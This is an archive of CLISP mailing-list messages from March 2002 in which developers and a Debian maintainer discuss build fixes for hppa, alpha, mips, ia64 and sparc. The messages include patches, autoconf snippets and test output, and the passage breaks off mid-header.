clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 21 07:25:01 2002 X-Original-Date: 21 Mar 2002 10:24:01 -0500 > * In message > * On the subject of "Re: [clisp-list] avcall on hppa" > * Sent on Thu, 21 Mar 2002 12:20:04 +0000 > * Honorable Will Newton writes: > > On Thursday 21 Mar 2002 10:18 am, you wrote: > > > I don't know what a good checking heuristic would be. Maybe drop the > > GNUC_MINOR check completely and hope old, once solved bugs don't reappear > > in gcc-3.x.y. Sometimes in history, simplification does wonders. > > This might work: > > #if defined(__hppa__) && defined(__GNUC__) && (__GNUC__MAJOR__ < 3) && > (__GNUC_MINOR__ < 7) > __AV_OLDGCC_STRUCT_RETURN | > #endif Actually, there is no __GNUC__MAJOR__. __GNUC__ is the major version. thanks for the bug report! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! When C++ is your hammer, everything looks like a thumb. From samuel.steingold@verizon.net Thu Mar 21 07:29:57 2002 Received: from out005slb.verizon.net ([206.46.170.17] helo=out005.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16o4Vo-0005bL-00 for ; Thu, 21 Mar 2002 07:29:56 -0800 Received: from gnu.org ([151.203.226.21]) by out005.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020321152916.GTMS23097.out005.verizon.net@gnu.org>; Thu, 21 Mar 2002 09:29:16 -0600 To: Will Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Build fix for alpha References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 36 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 21 07:30:14 2002 X-Original-Date: 21 Mar 2002 10:29:52 -0500 > * In message > * On the subject of "[clisp-list] Build fix for alpha" > * Sent on Wed, 20 Mar 2002 15:32:04 +0000 > * Honorable Will Newton writes: > > This patch should fix the build on certain alphas. is it broken? > I don't have one to test, but it looks correct. > > --- clisp-2.28/src/autoconf/aclocal.m4.old Wed Mar 20 15:28:40 2002 > +++ clisp-2.28/src/autoconf/aclocal.m4 Wed Mar 20 15:29:07 2002 > @@ -748,7 +748,7 @@ > i[4567]86 ) > host_cpu=i386 > ;; > - alphaev[4-7] | alphaev56 | alphapca5[67] ) > + alphaev[4-8] | alphaev56 | alphapca5[67] | alphaev6[78] ) > host_cpu=alpha > ;; > hppa1.0 | hppa1.1 | hppa2.0 ) > why not just have alpha*) host_cpu=alpha ;; ?? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Parachute for sale, used once, never opened, small stain. From will@misconception.org.uk Thu Mar 21 07:30:16 2002 Received: from mail2.svr.pol.co.uk ([195.92.193.210]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16o4W6-0005g2-00 for ; Thu, 21 Mar 2002 07:30:14 -0800 Received: from modem-4.duckdive.dialup.pol.co.uk ([62.25.152.4] helo=there) by mail2.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16o4W4-0005C1-00 for clisp-list@lists.sourceforge.net; Thu, 21 Mar 2002 15:30:12 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net X-Mailer: KMail [version 1.3.2] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] Build fix for mips Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 21 07:31:03 2002 X-Original-Date: Thu, 21 Mar 2002 15:31:14 +0000 Another build fix, this time for mips. Looks like a no-brainer - the file linux/cachectl.h does not exist on any machine I have access to. --- clisp-2.28.old/ffcall/callback/trampoline_r/trampoline.c Fri Mar 15 19:26:15 2002 +++ clisp-2.28/ffcall/callback/trampoline_r/trampoline.c Thu Mar 21 15:14:43 2002 @@ -247,7 +247,7 @@ #include #else #ifdef linux -#include +#include #else #ifdef HAVE_SYS_CACHECTL_H #include From will@misconception.org.uk Thu Mar 21 07:33:57 2002 Received: from mail2.svr.pol.co.uk ([195.92.193.210]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16o4Zg-0006Uh-00 for ; Thu, 21 Mar 2002 07:33:56 -0800 Received: from modem-4.duckdive.dialup.pol.co.uk ([62.25.152.4] helo=there) by mail2.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16o4Ze-0005wo-00 for clisp-list@lists.sourceforge.net; Thu, 21 Mar 2002 15:33:54 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net X-Mailer: KMail [version 1.3.2] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] ia64 build problems Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 21 07:34:05 2002 X-Original-Date: Thu, 21 Mar 2002 15:35:10 +0000 clisp is failing to build on ia64. The problem is in sigsegv, where test3.c seems to hit an infinite loop. Looking at the code it appears there is no provision for ia64 in the code, so it may not even be supported. ffcall does have ia64 support however. Has clisp ever been built on ia64? From samuel.steingold@verizon.net Thu Mar 21 07:45:21 2002 Received: from out001slb.verizon.net ([206.46.170.13] helo=out001.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16o4kh-0000xT-00 for ; Thu, 21 Mar 2002 07:45:19 -0800 Received: from gnu.org ([151.203.226.21]) by out001.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020321154511.SSOS27484.out001.verizon.net@gnu.org>; Thu, 21 Mar 2002 09:45:11 -0600 To: Will Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] avcall on sparc References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 32 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 21 07:46:07 2002 X-Original-Date: 21 Mar 2002 10:45:15 -0500 > * In message > * On the subject of "[clisp-list] avcall on sparc" > * Sent on Thu, 21 Mar 2002 03:46:18 +0000 > * Honorable Will Newton writes: > > I am seeing a problem building on sparc with gcc (Solaris and Linux). I think the problem is only on Solaris with gcc3. I do not observe it on rh7.2 with either gcc 2.96 or gcc 3.0.4. > avcall fails it's structure tests, but I believe I have found a solution. thanks! > When compiling with -O2 or better, the configure test for pcc > non-reentrant struct return convention is optimized away and always > returns true. This causes avcall to believe it can use PCC but it > cannot - and so bad things happen. interesting. > I have attached a patch I believe fixes the issue, by clearing CFLAGS > before running the test: did you test it? does it work? I do not have a solaris with gcc3 - Ray, could you please check that this indeed fixes your problem? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Those who don't know lisp are destined to reinvent it, poorly. From will@misconception.org.uk Thu Mar 21 08:07:10 2002 Received: from cmailg7.svr.pol.co.uk ([195.92.195.177]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16o55p-0006vw-00 for ; Thu, 21 Mar 2002 08:07:09 -0800 Received: from modem-4.duckdive.dialup.pol.co.uk ([62.25.152.4] helo=there) by cmailg7.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16o55l-0004JN-00 for clisp-list@lists.sourceforge.net; Thu, 21 Mar 2002 16:07:06 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Build fix for alpha X-Mailer: KMail [version 1.3.2] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 21 08:08:12 2002 X-Original-Date: Thu, 21 Mar 2002 15:45:41 +0000 On Thursday 21 Mar 2002 3:29 pm, you wrote: > > This patch should fix the build on certain alphas. > > is it broken? On certain alphas, yes. > why not just have > > alpha*) > host_cpu=alpha > ;; Yes, that works too. Keeping it explicit means if e.g. alpha128 is released in 2 years time it will not be caught by that condition. A matter of taste. From will@misconception.org.uk Thu Mar 21 08:07:10 2002 Received: from cmailg7.svr.pol.co.uk ([195.92.195.177]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16o55p-0006wI-00 for ; Thu, 21 Mar 2002 08:07:09 -0800 Received: from modem-4.duckdive.dialup.pol.co.uk ([62.25.152.4] helo=there) by cmailg7.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16o55m-0004JN-00 for clisp-list@lists.sourceforge.net; Thu, 21 Mar 2002 16:07:06 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] avcall on sparc X-Mailer: KMail [version 1.3.2] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 21 08:08:13 2002 X-Original-Date: Thu, 21 Mar 2002 15:53:57 +0000 On Thursday 21 Mar 2002 3:45 pm, Sam Steingold wrote: > I think the problem is only on Solaris with gcc3. > I do not observe it on rh7.2 with either gcc 2.96 or gcc 3.0.4. The original report I got was on Debian (not sure of the compiler). I tested it on Solaris and gcc 2.95.2 and it showed up also. > did you test it? > does it work? Yeah. I just got confirmation that it fixes the problem. From samuel.steingold@verizon.net Thu Mar 21 08:18:31 2002 Received: from out001slb.verizon.net ([206.46.170.13] helo=out001.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16o5Go-0000zk-00 for ; Thu, 21 Mar 2002 08:18:30 -0800 Received: from gnu.org ([151.203.226.21]) by out001.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020321161827.SWPN27484.out001.verizon.net@gnu.org> for ; Thu, 21 Mar 2002 10:18:27 -0600 To: clisp-list@sourceforge.net Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Message-ID: Lines: 8 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] CLISP RPMs are now available Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 21 08:19:02 2002 X-Original-Date: 21 Mar 2002 11:18:31 -0500 I built CLISP RPMs on RH7.2, they are available from the usual places. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Microsoft: announce yesterday, code today, think tomorrow. From toy@rtp.ericsson.se Thu Mar 21 08:20:26 2002 Received: from imr2.ericy.com ([198.24.6.3]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16o5If-0001On-00 for ; Thu, 21 Mar 2002 08:20:25 -0800 Received: from mr7.exu.ericsson.se (mr7att.ericy.com [138.85.224.158]) by imr2.ericy.com (8.11.3/8.11.3) with ESMTP id g2LGKJi15542 for ; Thu, 21 Mar 2002 10:20:19 -0600 (CST) Received: from eamrcnt749 (eamrcnt749.exu.ericsson.se [138.85.133.47]) by mr7.exu.ericsson.se (8.11.3/8.11.3) with SMTP id g2LGKIx07106 for ; Thu, 21 Mar 2002 10:20:18 -0600 (CST) Received: FROM netmanager7.rtp.ericsson.se BY eamrcnt749 ; Thu Mar 21 10:19:56 2002 -0600 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.122.19]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id LAA12177; Thu, 21 Mar 2002 11:22:23 -0500 (EST) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.10.2+Sun/8.9.3) id g2LGJtk10805; Thu, 21 Mar 2002 11:19:55 -0500 (EST) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: Will Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] avcall on sparc References: From: Raymond Toy In-Reply-To: Message-ID: <4nhen9vqok.fsf@rtp.ericsson.se> Lines: 32 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (beets) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 21 08:21:04 2002 X-Original-Date: 21 Mar 2002 11:19:55 -0500 >>>>> "Sam" == Sam Steingold writes: >> * In message >> * On the subject of "[clisp-list] avcall on sparc" >> * Sent on Thu, 21 Mar 2002 03:46:18 +0000 >> * Honorable Will Newton writes: >> >> I am seeing a problem building on sparc with gcc (Solaris and Linux). Sam> I think the problem is only on Solaris with gcc3. Sam> I do not observe it on rh7.2 with either gcc 2.96 or gcc 3.0.4. >> avcall fails it's structure tests, but I believe I have found a solution. Sam> thanks! >> When compiling with -O2 or better, the configure test for pcc >> non-reentrant struct return convention is optimized away and always >> returns true. This causes avcall to believe it can use PCC but it >> cannot - and so bad things happen. Sam> interesting. >> I have attached a patch I believe fixes the issue, by clearing CFLAGS >> before running the test: Sam> did you test it? Sam> does it work? Sam> I do not have a solaris with gcc3 - Ray, could you please check that Sam> this indeed fixes your problem? Yes indeed! I'll try it out asap. Ray From samuel.steingold@verizon.net Thu Mar 21 08:33:56 2002 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16o5Vi-0004dt-00 for ; Thu, 21 Mar 2002 08:33:54 -0800 Received: from gnu.org ([151.203.226.21]) by out006.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020321163250.FYFP23259.out006.verizon.net@gnu.org>; Thu, 21 Mar 2002 10:32:50 -0600 To: Will Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] ia64 build problems References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 21 08:34:51 2002 X-Original-Date: 21 Mar 2002 11:33:49 -0500 > * In message > * On the subject of "[clisp-list] ia64 build problems" > * Sent on Thu, 21 Mar 2002 15:35:10 +0000 > * Honorable Will Newton writes: > > clisp is failing to build on ia64. The problem is in sigsegv, where > test3.c seems to hit an infinite loop. Looking at the code it appears > there is no provision for ia64 in the code, so it may not even be > supported. ffcall does have ia64 support however. > > Has clisp ever been built on ia64? dunno. can you fix sigsegv? PS. Thanks for your patches - who are you? Why are you building CLISP on all these platforms? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! God had a deadline, so He wrote it all in Lisp. From will@misconception.org.uk Thu Mar 21 09:09:46 2002 Received: from mail11.svr.pol.co.uk ([195.92.193.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16o64N-0004f3-00 for ; Thu, 21 Mar 2002 09:09:43 -0800 Received: from modem-1082.duckdive.dialup.pol.co.uk ([62.25.173.58] helo=there) by mail11.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16o64I-00065T-00 for clisp-list@lists.sourceforge.net; Thu, 21 Mar 2002 17:09:39 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] ia64 build problems X-Mailer: KMail [version 1.3.2] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 21 09:13:23 2002 X-Original-Date: Thu, 21 Mar 2002 16:49:55 +0000 On Thursday 21 Mar 2002 4:33 pm, Sam Steingold wrote: > dunno. can you fix sigsegv? I'll have a go, but I have never even seen a ia64 machine. :) > PS. Thanks for your patches - who are you? > Why are you building CLISP on all these platforms? New Debian maintainer of clisp. Trying to get it building on as many arches as possible so Debian 3.0 can ship with it. From samuel.steingold@verizon.net Thu Mar 21 09:33:31 2002 Received: from out001slb.verizon.net ([206.46.170.13] helo=out001.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16o6RN-0001g2-00 for ; Thu, 21 Mar 2002 09:33:29 -0800 Received: from gnu.org ([151.203.226.21]) by out001.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020321173325.TGMW27484.out001.verizon.net@gnu.org>; Thu, 21 Mar 2002 11:33:25 -0600 To: Will Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] ia64 build problems References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 21 09:34:04 2002 X-Original-Date: 21 Mar 2002 12:33:29 -0500 > * In message > * On the subject of "Re: [clisp-list] ia64 build problems" > * Sent on Thu, 21 Mar 2002 16:49:55 +0000 > * Honorable Will Newton writes: > > On Thursday 21 Mar 2002 4:33 pm, Sam Steingold wrote: > > > dunno. can you fix sigsegv? > I'll have a go, but I have never even seen a ia64 machine. :) thanks. > > PS. Thanks for your patches - who are you? > > Why are you building CLISP on all these platforms? > > New Debian maintainer of clisp. Trying to get it building on as many > arches as possible so Debian 3.0 can ship with it. cool! when is Debian 3.0 due? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! A man paints with his brains and not with his hands. From toy@rtp.ericsson.se Thu Mar 21 09:40:43 2002 Received: from imr1.ericy.com ([208.237.135.240]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16o6YM-0003JG-00 for ; Thu, 21 Mar 2002 09:40:42 -0800 Received: from mr6.exu.ericsson.se (mr6u3.ericy.com [208.237.135.123]) by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id g2LHedl14801 for ; Thu, 21 Mar 2002 11:40:39 -0600 (CST) Received: from eamrcnt749 (eamrcnt749.exu.ericsson.se [138.85.133.47]) by mr6.exu.ericsson.se (8.11.3/8.11.3) with SMTP id g2LHedR04015 for ; Thu, 21 Mar 2002 11:40:39 -0600 (CST) Received: FROM netmanager7.rtp.ericsson.se BY eamrcnt749 ; Thu Mar 21 11:40:38 2002 -0600 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.122.19]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id MAA13978; Thu, 21 Mar 2002 12:43:05 -0500 (EST) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.10.2+Sun/8.9.3) id g2LHeb324329; Thu, 21 Mar 2002 12:40:37 -0500 (EST) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: Will Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] avcall on sparc References: From: Raymond Toy In-Reply-To: Message-ID: <4nzo11u8dm.fsf@rtp.ericsson.se> Lines: 58 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (beets) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 21 09:41:09 2002 X-Original-Date: 21 Mar 2002 12:40:37 -0500 >>>>> "Will" == Will Newton writes: Will> On Thursday 21 Mar 2002 3:45 pm, Sam Steingold wrote: >> I think the problem is only on Solaris with gcc3. >> I do not observe it on rh7.2 with either gcc 2.96 or gcc 3.0.4. Will> The original report I got was on Debian (not sure of the compiler). I tested Will> it on Solaris and gcc 2.95.2 and it showed up also. >> did you test it? >> does it work? Will> Yeah. I just got confirmation that it fixes the problem. Sorry, not for me. I had to hand-apply the patch. I assume it was for ffcall/autoconf/aclocal.m4. The result is: AC_DEFUN(CL_PCC_STRUCT_RETURN, [AC_CACHE_CHECK([for pcc non-reentrant struct return convention], cl_cv_c_struct_return_static, [ save_CFLAGS="$CFLAGS" CFLAGS="" AC_TRY_RUN([typedef struct { int a; int b; int c; int d; int e; } foo; foo foofun () { static foo foopi = {3141,5926,5358,9793,2385}; return foopi; } foo* (*fun) () = (foo* (*) ()) foofun; int main() { foo foo1; foo* fooptr1; foo foo2; foo* fooptr2; foo1 = foofun(); fooptr1 = (*fun)(&foo1); foo2 = foofun(); fooptr2 = (*fun)(&foo2); exit(!(fooptr1 == fooptr2 && fooptr1->c == 5358)); }], cl_cv_c_struct_return_static=yes, rm -f core cl_cv_c_struct_return_static=no, dnl When cross-compiling, don't assume anything. dnl There are even weirder return value passing conventions than pcc. cl_cv_c_struct_return_static="guessing no") CFLAGS="$ave_CFLAGS" ]) case "$cl_cv_c_struct_return_static" in *yes) AC_DEFINE(__PCC_STRUCT_RETURN__) ;; *no) ;; esac When I run configure, I see that it says: checking for pcc non-reentrant struct return convention... (cached) yes which is the desired answer, I guess. I still get the minitests error in avcall: Int f(Int,Int,Int):({1},{2},{3})->{6} Int f(Int,Int,Int):({1},{2},{3})->{902231815} J f(J,int,J):({47,11},2,{73,55})->{120,68} J f(J,int,J):({47,11},2,{73,55})->{902231815,-4267884} Ray From samuel.steingold@verizon.net Thu Mar 21 10:01:52 2002 Received: from out007pub.verizon.net ([206.46.170.107] helo=out007.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16o6sp-0008RV-00 for ; Thu, 21 Mar 2002 10:01:51 -0800 Received: from gnu.org ([151.203.226.21]) by out007.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020321180206.JTKT22801.out007.verizon.net@gnu.org>; Thu, 21 Mar 2002 12:02:06 -0600 To: Raymond Toy Cc: Will Newton , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] avcall on sparc References: <4nzo11u8dm.fsf@rtp.ericsson.se> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <4nzo11u8dm.fsf@rtp.ericsson.se> Message-ID: Lines: 36 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 21 10:02:08 2002 X-Original-Date: 21 Mar 2002 13:01:50 -0500 > * In message <4nzo11u8dm.fsf@rtp.ericsson.se> > * On the subject of "Re: [clisp-list] avcall on sparc" > * Sent on 21 Mar 2002 12:40:37 -0500 > * Honorable Raymond Toy writes: > > >>>>> "Will" == Will Newton writes: > > Will> On Thursday 21 Mar 2002 3:45 pm, Sam Steingold wrote: > >> I think the problem is only on Solaris with gcc3. > >> I do not observe it on rh7.2 with either gcc 2.96 or gcc 3.0.4. > > Will> The original report I got was on Debian (not sure of the compiler). I tested > Will> it on Solaris and gcc 2.95.2 and it showed up also. > > >> did you test it? > >> does it work? > > Will> Yeah. I just got confirmation that it fixes the problem. > > Sorry, not for me. I had to hand-apply the patch. I assume it was > for ffcall/autoconf/aclocal.m4. The result is: actually, believe it or not, ffcall/autoconf/aclocal.m4 is a generated file. :-) please do `cvs up` and recomfigure from scratch. > checking for pcc non-reentrant struct return convention... (cached) yes > which is the desired answer, I guess. probably not :-) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Lisp is a language for doing what you've been told is impossible. - Kent Pitman From toy@rtp.ericsson.se Thu Mar 21 10:18:42 2002 Received: from imr1.ericy.com ([208.237.135.240]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16o797-000485-00 for ; Thu, 21 Mar 2002 10:18:41 -0800 Received: from mr7.exu.ericsson.se (mr7u3.ericy.com [208.237.135.122]) by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id g2LIIel04800 for ; Thu, 21 Mar 2002 12:18:40 -0600 (CST) Received: from eamrcnt749 (eamrcnt749.exu.ericsson.se [138.85.133.47]) by mr7.exu.ericsson.se (8.11.3/8.11.3) with SMTP id g2LIIdx18596 for ; Thu, 21 Mar 2002 12:18:39 -0600 (CST) Received: FROM netmanager7.rtp.ericsson.se BY eamrcnt749 ; Thu Mar 21 12:18:39 2002 -0600 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.122.19]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id NAA14722; Thu, 21 Mar 2002 13:21:04 -0500 (EST) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.10.2+Sun/8.9.3) id g2LIIbm11309; Thu, 21 Mar 2002 13:18:37 -0500 (EST) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: Will Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] avcall on sparc References: <4nzo11u8dm.fsf@rtp.ericsson.se> From: Raymond Toy In-Reply-To: Message-ID: <4nvgbpu6mb.fsf@rtp.ericsson.se> Lines: 15 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (beets) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: 